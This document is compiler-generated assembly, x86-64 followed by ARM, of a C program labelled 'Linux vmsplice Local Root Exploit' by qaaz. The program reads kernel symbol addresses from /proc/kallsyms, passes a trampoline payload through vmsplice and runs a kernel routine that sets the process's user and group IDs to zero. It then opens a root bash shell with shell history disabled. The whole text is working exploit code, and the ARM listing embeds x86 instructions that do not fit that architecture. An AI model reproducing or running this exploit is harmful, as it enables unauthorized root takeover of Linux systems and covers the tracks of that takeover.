	.file	"569745.c"
	.intel_syntax noprefix
	.text
	.globl	trampoline
	.data
	.align 16
	.type	trampoline, @object
	.size	trampoline, 25
trampoline:
	.string	"\213\\$\004\213L$\b\201\373iz"
	.string	""
	.string	"u\002\377\321\270\352\377\377\377\303"
	.section	.rodata
.LC0:
	.string	"[-] %s: %s\n"
.LC1:
	.string	"[-] %s\n"
	.text
	.globl	die
	.type	die, @function
die:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	DWORD PTR -12[rbp], esi
	mov	eax, DWORD PTR -12[rbp]
	mov	edi, eax
	call	strerror@PLT
	mov	rdx, rax
	cmp	DWORD PTR -12[rbp], 0
	je	.L2
	lea	rax, .LC0[rip]
	jmp	.L3
.L2:
	lea	rax, .LC1[rip]
.L3:
	mov	rcx, QWORD PTR -8[rbp]
	mov	rsi, rcx
	mov	rdi, rax
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR stdout[rip]
	mov	rdi, rax
	call	fflush@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rdi, rax
	call	fflush@PLT
	mov	edi, 1
	call	exit@PLT
	.cfi_endproc
.LFE6:
	.size	die, .-die
	.section	.rodata
.LC2:
	.string	"r"
.LC3:
	.string	"/proc/kallsyms"
.LC4:
	.string	" sys_vm86old"
	.text
	.globl	get_target
	.type	get_target, @function
get_target:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 160
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	QWORD PTR -160[rbp], 0
	lea	rsi, .LC2[rip]
	lea	rdi, .LC3[rip]
	call	fopen@PLT
	mov	QWORD PTR -152[rbp], rax
	cmp	QWORD PTR -152[rbp], 0
	jne	.L6
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	mov	esi, eax
	lea	rdi, .LC3[rip]
	call	die
	jmp	.L6
.L8:
	lea	rax, -144[rbp]
	lea	rsi, .LC4[rip]
	mov	rdi, rax
	call	strstr@PLT
	test	rax, rax
	je	.L6
	lea	rax, -144[rbp]
	mov	edx, 16
	mov	esi, 0
	mov	rdi, rax
	call	strtoul@PLT
	mov	QWORD PTR -160[rbp], rax
	jmp	.L7
.L6:
	mov	rdx, QWORD PTR -152[rbp]
	lea	rax, -144[rbp]
	mov	esi, 128
	mov	rdi, rax
	call	fgets@PLT
	test	rax, rax
	jne	.L8
.L7:
	mov	rax, QWORD PTR -152[rbp]
	mov	rdi, rax
	call	fclose@PLT
	mov	rax, QWORD PTR -160[rbp]
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L10
	call	__stack_chk_fail@PLT
.L10:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	get_target, .-get_target
	.local	uid
	.comm	uid,4,4
	.local	gid
	.comm	gid,4,4
	.globl	kernel_code
	.type	kernel_code, @function
kernel_code:
.LFB9:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
#APP
# 72 "the_stack_data/569745.c" 1
	movl %esp, %eax ;andl -8192, %eax ;movl (%eax), rax
# 0 "" 2
#NO_APP
	mov	QWORD PTR -8[rbp], rax
	mov	rax, QWORD PTR -8[rbp]
	mov	QWORD PTR -16[rbp], rax
	mov	DWORD PTR -20[rbp], 0
	jmp	.L13
.L16:
	mov	rax, QWORD PTR -16[rbp]
	mov	edx, DWORD PTR [rax]
	mov	eax, DWORD PTR uid[rip]
	cmp	edx, eax
	jne	.L14
	mov	rax, QWORD PTR -16[rbp]
	add	rax, 4
	mov	edx, DWORD PTR [rax]
	mov	eax, DWORD PTR uid[rip]
	cmp	edx, eax
	jne	.L14
	mov	rax, QWORD PTR -16[rbp]
	add	rax, 8
	mov	edx, DWORD PTR [rax]
	mov	eax, DWORD PTR uid[rip]
	cmp	edx, eax
	jne	.L14
	mov	rax, QWORD PTR -16[rbp]
	add	rax, 12
	mov	edx, DWORD PTR [rax]
	mov	eax, DWORD PTR uid[rip]
	cmp	edx, eax
	jne	.L14
	mov	rax, QWORD PTR -16[rbp]
	add	rax, 16
	mov	edx, DWORD PTR [rax]
	mov	eax, DWORD PTR gid[rip]
	cmp	edx, eax
	jne	.L14
	mov	rax, QWORD PTR -16[rbp]
	add	rax, 20
	mov	edx, DWORD PTR [rax]
	mov	eax, DWORD PTR gid[rip]
	cmp	edx, eax
	jne	.L14
	mov	rax, QWORD PTR -16[rbp]
	add	rax, 24
	mov	edx, DWORD PTR [rax]
	mov	eax, DWORD PTR gid[rip]
	cmp	edx, eax
	jne	.L14
	mov	rax, QWORD PTR -16[rbp]
	add	rax, 28
	mov	edx, DWORD PTR [rax]
	mov	eax, DWORD PTR gid[rip]
	cmp	edx, eax
	jne	.L14
	mov	rax, QWORD PTR -16[rbp]
	add	rax, 12
	mov	DWORD PTR [rax], 0
	mov	rdx, QWORD PTR -16[rbp]
	add	rdx, 8
	mov	eax, DWORD PTR [rax]
	mov	DWORD PTR [rdx], eax
	mov	rax, QWORD PTR -16[rbp]
	add	rax, 4
	mov	edx, DWORD PTR [rdx]
	mov	DWORD PTR [rax], edx
	mov	edx, DWORD PTR [rax]
	mov	rax, QWORD PTR -16[rbp]
	mov	DWORD PTR [rax], edx
	mov	rax, QWORD PTR -16[rbp]
	add	rax, 28
	mov	DWORD PTR [rax], 0
	mov	rdx, QWORD PTR -16[rbp]
	add	rdx, 24
	mov	eax, DWORD PTR [rax]
	mov	DWORD PTR [rdx], eax
	mov	rax, QWORD PTR -16[rbp]
	add	rax, 20
	mov	edx, DWORD PTR [rdx]
	mov	DWORD PTR [rax], edx
	mov	rdx, QWORD PTR -16[rbp]
	add	rdx, 16
	mov	eax, DWORD PTR [rax]
	mov	DWORD PTR [rdx], eax
	add	QWORD PTR -16[rbp], 40
	mov	rax, QWORD PTR -16[rbp]
	lea	rdx, 8[rax]
	mov	DWORD PTR [rdx], -1
	mov	rax, QWORD PTR -16[rbp]
	add	rax, 4
	mov	edx, DWORD PTR [rdx]
	mov	DWORD PTR [rax], edx
	mov	edx, DWORD PTR [rax]
	mov	rax, QWORD PTR -16[rbp]
	mov	DWORD PTR [rax], edx
	jmp	.L15
.L14:
	add	QWORD PTR -16[rbp], 4
	add	DWORD PTR -20[rbp], 1
.L13:
	cmp	DWORD PTR -20[rbp], 1010
	jle	.L16
	nop
.L15:
	nop
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE9:
	.size	kernel_code, .-kernel_code
	.section	.rodata
	.align 8
.LC5:
	.string	"-----------------------------------"
	.align 8
.LC6:
	.string	" Linux vmsplice Local Root Exploit"
.LC7:
	.string	" By qaaz"
.LC8:
	.string	"!@#$"
.LC9:
	.string	"[+] addr: 0x%lx\n"
.LC10:
	.string	"pipe"
.LC11:
	.string	"wtf"
.LC12:
	.string	"[+] root"
.LC13:
	.string	"HISTFILE=/dev/null"
.LC14:
	.string	"-i"
.LC15:
	.string	"bash"
.LC16:
	.string	"/bin/bash"
	.text
	.globl	main
	.type	main, @function
main:
.LFB10:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 64
	mov	DWORD PTR -52[rbp], edi
	mov	QWORD PTR -64[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	call	getuid@PLT
	mov	DWORD PTR uid[rip], eax
	call	getgid@PLT
	mov	DWORD PTR gid[rip], eax
	mov	edx, DWORD PTR uid[rip]
	mov	ecx, DWORD PTR uid[rip]
	mov	eax, DWORD PTR uid[rip]
	mov	esi, ecx
	mov	edi, eax
	call	setresuid@PLT
	mov	edx, DWORD PTR gid[rip]
	mov	ecx, DWORD PTR gid[rip]
	mov	eax, DWORD PTR gid[rip]
	mov	esi, ecx
	mov	edi, eax
	call	setresgid@PLT
	lea	rdi, .LC5[rip]
	call	puts@PLT
	lea	rdi, .LC6[rip]
	call	puts@PLT
	lea	rdi, .LC7[rip]
	call	puts@PLT
	lea	rdi, .LC5[rip]
	call	puts@PLT
	mov	eax, DWORD PTR uid[rip]
	test	eax, eax
	je	.L18
	mov	eax, DWORD PTR gid[rip]
	test	eax, eax
	jne	.L19
.L18:
	mov	esi, 0
	lea	rdi, .LC8[rip]
	call	die
.L19:
	mov	eax, 0
	call	get_target
	mov	QWORD PTR -40[rbp], rax
	mov	rax, QWORD PTR -40[rbp]
	mov	rsi, rax
	lea	rdi, .LC9[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rax, -16[rbp]
	mov	rdi, rax
	call	pipe@PLT
	test	eax, eax
	jns	.L20
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	mov	esi, eax
	lea	rdi, .LC10[rip]
	call	die
.L20:
	mov	rax, QWORD PTR -40[rbp]
	mov	QWORD PTR -32[rbp], rax
	mov	QWORD PTR -24[rbp], 24
	mov	eax, DWORD PTR -12[rbp]
	mov	edx, 24
	lea	rsi, trampoline[rip]
	mov	edi, eax
	call	write@PLT
	mov	eax, DWORD PTR -16[rbp]
	lea	rdx, -32[rbp]
	mov	r8d, 0
	mov	ecx, 1
	mov	esi, eax
	mov	edi, 316
	mov	eax, 0
	call	syscall@PLT
	sub	rsp, 8
	push	4
	mov	r9d, 3
	mov	r8d, 2
	mov	ecx, 1
	lea	rdx, kernel_code[rip]
	mov	esi, 31337
	mov	edi, 113
	mov	eax, 0
	call	syscall@PLT
	add	rsp, 16
	call	getuid@PLT
	test	eax, eax
	je	.L21
	mov	esi, 0
	lea	rdi, .LC11[rip]
	call	die
.L21:
	lea	rdi, .LC12[rip]
	call	puts@PLT
	lea	rdi, .LC13[rip]
	call	putenv@PLT
	mov	ecx, 0
	lea	rdx, .LC14[rip]
	lea	rsi, .LC15[rip]
	lea	rdi, .LC16[rip]
	mov	eax, 0
	call	execl@PLT
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	mov	esi, eax
	lea	rdi, .LC16[rip]
	call	die
	mov	eax, 0
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L23
	call	__stack_chk_fail@PLT
.L23:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE10:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"569745.c"
	.text
	.global	trampoline
	.data
	.align	2
	.type	trampoline, %object
	.size	trampoline, 25
trampoline:
	.ascii	"\213\\$\004\213L$\010\201\373iz\000\000u\002\377\321"
	.ascii	"\270\352\377\377\377\303\000"
	.section	.rodata
	.align	2
.LC0:
	.ascii	"[-] %s: %s\012\000"
	.align	2
.LC1:
	.ascii	"[-] %s\012\000"
	.text
	.align	2
	.global	die
	.syntax unified
	.arm
	.fpu softvfp
	.type	die, %function
die:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #12
	str	r0, [fp, #-16]
	str	r1, [fp, #-20]
	ldr	r3, [fp, #-20]
	cmp	r3, #0
	beq	.L2
	ldr	r4, .L4
	b	.L3
.L2:
	ldr	r4, .L4+4
.L3:
	ldr	r0, [fp, #-20]
	bl	strerror
	mov	r3, r0
	mov	r2, r3
	ldr	r1, [fp, #-16]
	mov	r0, r4
	bl	printf
	ldr	r3, .L4+8
	ldr	r3, [r3]
	mov	r0, r3
	bl	fflush
	ldr	r3, .L4+12
	ldr	r3, [r3]
	mov	r0, r3
	bl	fflush
	mov	r0, #1
	bl	exit
.L5:
	.align	2
.L4:
	.word	.LC0
	.word	.LC1
	.word	stdout
	.word	stderr
	.size	die, .-die
	.section	.rodata
	.align	2
.LC2:
	.ascii	"r\000"
	.align	2
.LC3:
	.ascii	"/proc/kallsyms\000"
	.align	2
.LC4:
	.ascii	" sys_vm86old\000"
	.align	2
.LC5:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	get_target
	.syntax unified
	.arm
	.fpu softvfp
	.type	get_target, %function
get_target:
	@ args = 0, pretend = 0, frame = 144
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #144
	ldr	r3, .L13
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-144]
	ldr	r1, .L13+4
	ldr	r0, .L13+8
	bl	fopen
	str	r0, [fp, #-140]
	ldr	r3, [fp, #-140]
	cmp	r3, #0
	bne	.L8
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, .L13+8
	bl	die
	b	.L8
.L10:
	sub	r3, fp, #136
	ldr	r1, .L13+12
	mov	r0, r3
	bl	strstr
	mov	r3, r0
	cmp	r3, #0
	beq	.L8
	sub	r3, fp, #136
	mov	r2, #16
	mov	r1, #0
	mov	r0, r3
	bl	strtoul
	mov	r3, r0
	str	r3, [fp, #-144]
	b	.L9
.L8:
	sub	r3, fp, #136
	ldr	r2, [fp, #-140]
	mov	r1, #128
	mov	r0, r3
	bl	fgets
	mov	r3, r0
	cmp	r3, #0
	bne	.L10
.L9:
	ldr	r0, [fp, #-140]
	bl	fclose
	ldr	r3, [fp, #-144]
	ldr	r2, .L13
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L12
	bl	__stack_chk_fail
.L12:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L14:
	.align	2
.L13:
	.word	.LC5
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.size	get_target, .-get_target
	.local	uid
	.comm	uid,4,4
	.local	gid
	.comm	gid,4,4
	.align	2
	.global	kernel_code
	.syntax unified
	.arm
	.fpu softvfp
	.type	kernel_code, %function
kernel_code:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	@ link register save eliminated.
	str	fp, [sp, #-4]!
	add	fp, sp, #0
	sub	sp, sp, #20
	.syntax divided
@ 72 "the_stack_data/569745.c" 1
	movl %esp, %eax ;andl #-8192, %eax ;movl (%eax), r3
@ 0 "" 2
	.arm
	.syntax unified
	str	r3, [fp, #-8]
	ldr	r3, [fp, #-8]
	str	r3, [fp, #-12]
	mov	r3, #0
	str	r3, [fp, #-16]
	b	.L17
.L20:
	ldr	r3, [fp, #-12]
	ldr	r2, [r3]
	ldr	r3, .L21
	ldr	r3, [r3]
	cmp	r2, r3
	bne	.L18
	ldr	r3, [fp, #-12]
	add	r3, r3, #4
	ldr	r2, [r3]
	ldr	r3, .L21
	ldr	r3, [r3]
	cmp	r2, r3
	bne	.L18
	ldr	r3, [fp, #-12]
	add	r3, r3, #8
	ldr	r2, [r3]
	ldr	r3, .L21
	ldr	r3, [r3]
	cmp	r2, r3
	bne	.L18
	ldr	r3, [fp, #-12]
	add	r3, r3, #12
	ldr	r2, [r3]
	ldr	r3, .L21
	ldr	r3, [r3]
	cmp	r2, r3
	bne	.L18
	ldr	r3, [fp, #-12]
	add	r3, r3, #16
	ldr	r2, [r3]
	ldr	r3, .L21+4
	ldr	r3, [r3]
	cmp	r2, r3
	bne	.L18
	ldr	r3, [fp, #-12]
	add	r3, r3, #20
	ldr	r2, [r3]
	ldr	r3, .L21+4
	ldr	r3, [r3]
	cmp	r2, r3
	bne	.L18
	ldr	r3, [fp, #-12]
	add	r3, r3, #24
	ldr	r2, [r3]
	ldr	r3, .L21+4
	ldr	r3, [r3]
	cmp	r2, r3
	bne	.L18
	ldr	r3, [fp, #-12]
	add	r3, r3, #28
	ldr	r2, [r3]
	ldr	r3, .L21+4
	ldr	r3, [r3]
	cmp	r2, r3
	bne	.L18
	ldr	r3, [fp, #-12]
	add	r3, r3, #12
	mov	r2, #0
	str	r2, [r3]
	ldr	r2, [fp, #-12]
	add	r2, r2, #8
	ldr	r3, [r3]
	str	r3, [r2]
	ldr	r3, [fp, #-12]
	add	r3, r3, #4
	ldr	r2, [r2]
	str	r2, [r3]
	ldr	r2, [r3]
	ldr	r3, [fp, #-12]
	str	r2, [r3]
	ldr	r3, [fp, #-12]
	add	r3, r3, #28
	mov	r2, #0
	str	r2, [r3]
	ldr	r2, [fp, #-12]
	add	r2, r2, #24
	ldr	r3, [r3]
	str	r3, [r2]
	ldr	r3, [fp, #-12]
	add	r3, r3, #20
	ldr	r2, [r2]
	str	r2, [r3]
	ldr	r2, [fp, #-12]
	add	r2, r2, #16
	ldr	r3, [r3]
	str	r3, [r2]
	ldr	r3, [fp, #-12]
	add	r3, r3, #36
	str	r3, [fp, #-12]
	ldr	r3, [fp, #-12]
	add	r2, r3, #8
	mvn	r3, #0
	str	r3, [r2]
	ldr	r3, [fp, #-12]
	add	r3, r3, #4
	ldr	r2, [r2]
	str	r2, [r3]
	ldr	r2, [r3]
	ldr	r3, [fp, #-12]
	str	r2, [r3]
	b	.L19
.L18:
	ldr	r3, [fp, #-12]
	add	r3, r3, #4
	str	r3, [fp, #-12]
	ldr	r3, [fp, #-16]
	add	r3, r3, #1
	str	r3, [fp, #-16]
.L17:
	ldr	r3, [fp, #-16]
	ldr	r2, .L21+8
	cmp	r3, r2
	ble	.L20
	nop
.L19:
	nop
	add	sp, fp, #0
	@ sp needed
	ldr	fp, [sp], #4
	bx	lr
.L22:
	.align	2
.L21:
	.word	uid
	.word	gid
	.word	1010
	.size	kernel_code, .-kernel_code
	.section	.rodata
	.align	2
.LC6:
	.ascii	"-----------------------------------\000"
	.align	2
.LC7:
	.ascii	" Linux vmsplice Local Root Exploit\000"
	.align	2
.LC8:
	.ascii	" By qaaz\000"
	.align	2
.LC9:
	.ascii	"!@#$\000"
	.align	2
.LC10:
	.ascii	"[+] addr: 0x%lx\012\000"
	.align	2
.LC11:
	.ascii	"pipe\000"
	.align	2
.LC12:
	.ascii	"wtf\000"
	.align	2
.LC13:
	.ascii	"[+] root\000"
	.align	2
.LC14:
	.ascii	"HISTFILE=/dev/null\000"
	.align	2
.LC15:
	.ascii	"-i\000"
	.align	2
.LC16:
	.ascii	"bash\000"
	.align	2
.LC17:
	.ascii	"/bin/bash\000"
	.align	2
.LC18:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 32
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #48
	str	r0, [fp, #-32]
	str	r1, [fp, #-36]
	ldr	r3, .L30
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	bl	getuid
	mov	r3, r0
	ldr	r2, .L30+4
	str	r3, [r2]
	bl	getgid
	mov	r3, r0
	ldr	r2, .L30+8
	str	r3, [r2]
	ldr	r3, .L30+4
	ldr	r3, [r3]
	ldr	r2, .L30+4
	ldr	r1, [r2]
	ldr	r2, .L30+4
	ldr	r2, [r2]
	mov	r0, r3
	bl	setresuid
	ldr	r3, .L30+8
	ldr	r3, [r3]
	ldr	r2, .L30+8
	ldr	r1, [r2]
	ldr	r2, .L30+8
	ldr	r2, [r2]
	mov	r0, r3
	bl	setresgid
	ldr	r0, .L30+12
	bl	puts
	ldr	r0, .L30+16
	bl	puts
	ldr	r0, .L30+20
	bl	puts
	ldr	r0, .L30+12
	bl	puts
	ldr	r3, .L30+4
	ldr	r3, [r3]
	cmp	r3, #0
	beq	.L24
	ldr	r3, .L30+8
	ldr	r3, [r3]
	cmp	r3, #0
	bne	.L25
.L24:
	mov	r1, #0
	ldr	r0, .L30+24
	bl	die
.L25:
	bl	get_target
	str	r0, [fp, #-28]
	ldr	r1, [fp, #-28]
	ldr	r0, .L30+28
	bl	printf
	sub	r3, fp, #16
	mov	r0, r3
	bl	pipe
	mov	r3, r0
	cmp	r3, #0
	bge	.L26
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, .L30+32
	bl	die
.L26:
	ldr	r3, [fp, #-28]
	str	r3, [fp, #-24]
	mov	r3, #24
	str	r3, [fp, #-20]
	ldr	r3, [fp, #-12]
	mov	r2, #24
	ldr	r1, .L30+36
	mov	r0, r3
	bl	write
	ldr	r1, [fp, #-16]
	sub	r2, fp, #24
	mov	r3, #0
	str	r3, [sp]
	mov	r3, #1
	mov	r0, #316
	bl	syscall
	mov	r3, #4
	str	r3, [sp, #8]
	mov	r3, #3
	str	r3, [sp, #4]
	mov	r3, #2
	str	r3, [sp]
	mov	r3, #1
	ldr	r2, .L30+40
	ldr	r1, .L30+44
	mov	r0, #113
	bl	syscall
	bl	getuid
	mov	r3, r0
	cmp	r3, #0
	beq	.L27
	mov	r1, #0
	ldr	r0, .L30+48
	bl	die
.L27:
	ldr	r0, .L30+52
	bl	puts
	ldr	r0, .L30+56
	bl	putenv
	mov	r3, #0
	ldr	r2, .L30+60
	ldr	r1, .L30+64
	ldr	r0, .L30+68
	bl	execl
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, .L30+68
	bl	die
	mov	r3, #0
	ldr	r2, .L30
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L29
	bl	__stack_chk_fail
.L29:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L31:
	.align	2
.L30:
	.word	.LC18
	.word	uid
	.word	gid
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	.LC9
	.word	.LC10
	.word	.LC11
	.word	trampoline
	.word	kernel_code
	.word	31337
	.word	.LC12
	.word	.LC13
	.word	.LC14
	.word	.LC15
	.word	.LC16
	.word	.LC17
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
